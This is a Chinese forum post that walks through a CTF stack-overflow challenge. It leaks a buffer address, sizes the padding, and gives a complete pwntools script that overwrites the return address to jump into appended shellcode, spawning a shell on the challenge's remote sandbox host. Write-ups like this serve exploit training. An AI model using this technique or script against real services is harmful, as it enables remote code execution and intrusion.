TA的每日心情 | 奋斗 5 小时前 |
---|
签到天数: 373 天 [LV.9]以坛为家II
|
题目文件(ctfhub要开环境才能下载,所以我直接发给你们研究)
checksec意思一下
ida,启动!
明显栈溢出(题目都叫这个名字了)
再看看栈
过程:
伪代码写了题目交互会给buf地址,先接收
buf,var_8,s全都填充就好了,
把shellcode放在这里全部变量的后面,也就是buf地址+32
返回地址r覆写成shellcode地址
结果就是跳到shellcode地址执行shellcode
实现代码
- from pwn import *
- # context.log_level = "debug"
- context.arch = 'amd64'
- # p = process("./pwn")
- p = remote("challenge-a43794078f70a174.sandbox.ctfhub.com", 24635)
- buf_addr = p.recvuntil("]")
- buf_addr = int(buf_addr[-15: -1], 16)
- shellcode_address = buf_addr + 32 #shellcode地址=buf+var_8+s+r+返回地址
- shellcode = asm(shellcraft.sh())
- #payload填充buf+var_8+s,返回地址覆写为自己的下个字节也就是shellcode地址
- payload = b'A'*(8*3) + p64(shellcode_address) + shellcode
- p.recv()
- p.sendline(payload)
- p.interactive()
复制代码
getshell !
|
本帖子中包含更多资源
您需要 登录 才可以下载或查看,没有帐号?注册
x
|